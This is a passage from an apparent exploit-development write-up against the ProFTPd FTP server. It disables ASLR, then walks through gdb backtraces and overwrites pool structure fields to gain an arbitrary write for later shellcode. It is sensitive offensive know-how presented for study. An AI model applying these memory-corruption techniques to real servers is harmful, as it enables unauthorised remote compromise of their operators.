text
stringlengths
0
1.99k
----[ 5.3 - Execution and offsets control
A new execution was started inside gdb and with ASLR turned off.
Turn off ASLR system-wide like so:
$ sudo sysctl kernel.randomize_va_space=0
Now that we have a breakpoint on pool.c:569 right before the crash, let's
take a look at the backtrace:
gef➤ bt
#0 alloc_pool (p=0x5555556e86a0, reqsz=0x4, exact=0x0) at pool.c:569
#1 0x0000555555575a8e in palloc (p=0x5555556e86a0, sz=0x4) at pool.c:609
#2 0x0000555555577839 in pstrdup (p=0x5555556e86a0,
str=0x555555688768 "426") at str.c:276
#3 0x00005555555a42db in pr_response_set_pool (p=0x5555556e86a0) at
response.c:89
#4 0x000055555557025e in pr_cmd_dispatch_phase (cmd=0x5555556ba4e8,
phase=0x4, flags=0x0) at main.c:650
#5 0x00005555555fc463 in xfer_exit_ev (event_data=0x0, user_data=0x0)
at mod_xfer.c:4092
#6 0x00005555555c0b3d in pr_event_generate (event=0x5555556482f5
"core.exit", event_data=0x0) at event.c:357
#7 0x00005555555c1ee6 in sess_cleanup (flags=0x0) at session.c:82
#8 0x00005555555c200d in pr_session_end (flags=0x0) at session.c:125
#9 0x00005555555c1fea in pr_session_disconnect (m=0x0,
reason_code=0x2, details=0x0) at session.c:119
#10 0x00005555555a75cd in poll_ctrl () at data.c:951
#11 0x00005555555a7afd in pr_data_xfer (cl_buf=0x5555556e86a0 'A'
<repeats 16 times>, "DDDDDDDD", 'A' <repeats 48 times>,
"\340\206nUUU", cl_size=0x20000) at data.c:1095
#12 0x00005555555f592c in xfer_stor (cmd=0x5555556bc568) at mod_xfer.c:2030
#13 0x00005555555a89c7 in pr_module_call (m=0x5555556734c0
<xfer_module>, func=0x5555555f47c7 <xfer_stor>, cmd=0x5555556bc568) at
modules.c:59
#14 0x000055555556f98f in _dispatch (cmd=0x5555556bc568, cmd_type=0x2,
validate=0x1, match=0x5555556bc600 "STOR") at main.c:360
#15 0x000055555557046b in pr_cmd_dispatch_phase (cmd=0x5555556bc568,
phase=0x0, flags=0x3) at main.c:696
#16 0x0000555555570857 in pr_cmd_dispatch (cmd=0x5555556bc568) at main.c:789
#17 0x0000555555570cdf in cmd_loop (server=0x55555568ad28,
c=0x5555556ae3c8) at main.c:931
#18 0x00005555555720c4 in fork_server (fd=0x1, l=0x5555556ac188,
no_fork=0x0) at main.c:1494
#19 0x0000555555572936 in daemon_loop () at main.c:1731
#20 0x0000555555572dea in standalone_main () at main.c:1916
#21 0x0000555555573cfe in main (argc=0x5, argv=0x7fffffffe3b8,
envp=0x7fffffffe3e8) at main.c:2629
By looking at the call stack, we can guess that xfer_stor() was running
when the main FTP control session was closed. Then a session cleanup was
started and an event "core.exit" was generated.
xfer_exit_ev() was called and error messages were set. Until now, we were
working with the FTP data connection, but remember from the beginning that
we also sent arbitrary commands through the FTP control connection.
Where are they in memory? Can we reference them during the execution flow
we have now? Good questions - let's see.
As we saw, make_sub_pool() gives us an opportunity to write new_pool
at an arbitrary address controllable by us. new_pool is a temporary pool
that ProFTPd uses to store the command sent through the FTP control port.
This means that our last command can possibly be used together with the
shellcode to build our attack.
Now let's trigger the vulnerability again and break at pool.c:569.
Here I'm sending the following values:
gef➤ set p->last = &p->cleanups
gef➤ set p->sub_next = &p->tag
gef➤ p *p
$78 = {
first = 0x4141414141414141,
last = 0x5555556e0450,
cleanups = 0x4444444444444444,
sub_pools = 0x4242424242424242,
sub_next = 0x5555556e0480,
sub_prev = 0x4141414141414141,
parent = 0x4141414141414141,
free_first_avail = 0x4141414141414141,
tag = 0x4141414141414141
}
gef➤ c
Now we should have a break on pool.c:432.
Let's step up to the previous caller _dispatch() function.
gef➤ up
#1 0x000055555556f63e in _dispatch (cmd=0x5555556b99f8, ..., ) at main.c:287
287 cmd->tmp_pool = make_sub_pool(cmd->pool);
gef➤ ct
cmd holds a pointer to a struct cmd_struc type. Let's examine it:
gef➤ pt cmd
type = struct cmd_struc {
struct pool_rec *pool;
server_rec *server;
config_rec *config;
struct pool_rec *tmp_pool;